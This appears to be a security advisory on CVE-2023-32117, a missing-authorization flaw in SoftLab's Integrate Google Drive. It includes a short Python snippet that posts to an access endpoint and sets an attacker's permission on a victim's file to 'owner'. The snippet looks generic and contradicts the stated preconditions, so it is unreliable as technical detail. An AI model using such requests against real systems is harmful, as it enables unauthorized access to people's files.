A critical vulnerability (CVE-2023-32117) has been discovered in SoftLab's Integrate Google Drive, affecting versions from n/a through 1.1.99. This vulnerability is due to Missing Authorization in the access control mechanism, which allows malicious users to exploit improperly secured access control levels. Such a security issue has serious implications, as unauthorized users may gain unwarranted permissions to view, modify or delete sensitive information residing within user accounts.

This code snippet demonstrates how an attacker could manipulate the authorization parameters

import requests

# Define target_url, victim's file_id and token
target_url = 'https://example.com/integrate-google-drive/api/access';
file_id = 'victim-file-id'
token = 'attacker_token'

headers = {
    'Authorization': f'Bearer {token}',
    'Content-Type': 'application/x-www-form-urlencoded',
}

data = {'file_id': file_id, 'permission': 'owner'}

response = requests.post(target_url, headers=headers, data=data)
print(response.json())

By substituting an attacker's token and a victim's file_id in the code snippet, the attacker can illegitimately change the permissions of the victim's file.

Original References

1. SoftLab Integrate Google Drive: https://softlab.com/integrate-google-drive
2. CVE-2023-32117 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32117
3. NVD - CVE-2023-32117: https://nvd.nist.gov/vuln/detail/CVE-2023-32117

Exploit Details

Impact: The unauthorized access and manipulation of this vulnerability leave sensitive user data exposed to potential attacks or misuse, resulting in a significant compromise of security and privacy.

Attack Vector: A successful exploit could be carried out remotely by a malicious user with minimal technical expertise, provided they have acquired the necessary authentication token.

Preconditions: The attacker would need the user's authentication token and a valid file_id that they intend to target.

Remediation: It is crucial for SoftLab to immediately address and patch this vulnerability to protect users from potential data breaches. Users should also ensure they are using the latest version of Integrate Google Drive, be cautious about sharing access tokens, and report any suspicious activities to SoftLab support.

Conclusion

In summary, the Missing Authorization vulnerability in SoftLab's Integrate Google Drive (CVE-2023-32117) is a critical security concern that demands immediate attention and remediation. Users should stay informed about the latest security updates, exercise caution when sharing their access tokens, and ensure they are using the most up-to-date version of the software. SoftLab must also ensure that future releases of Integrate Google Drive are thoroughly examined and tested to prevent similar vulnerabilities from occurring in the future.

Timeline

Published on: 12/09/2024 13:15:28 UTC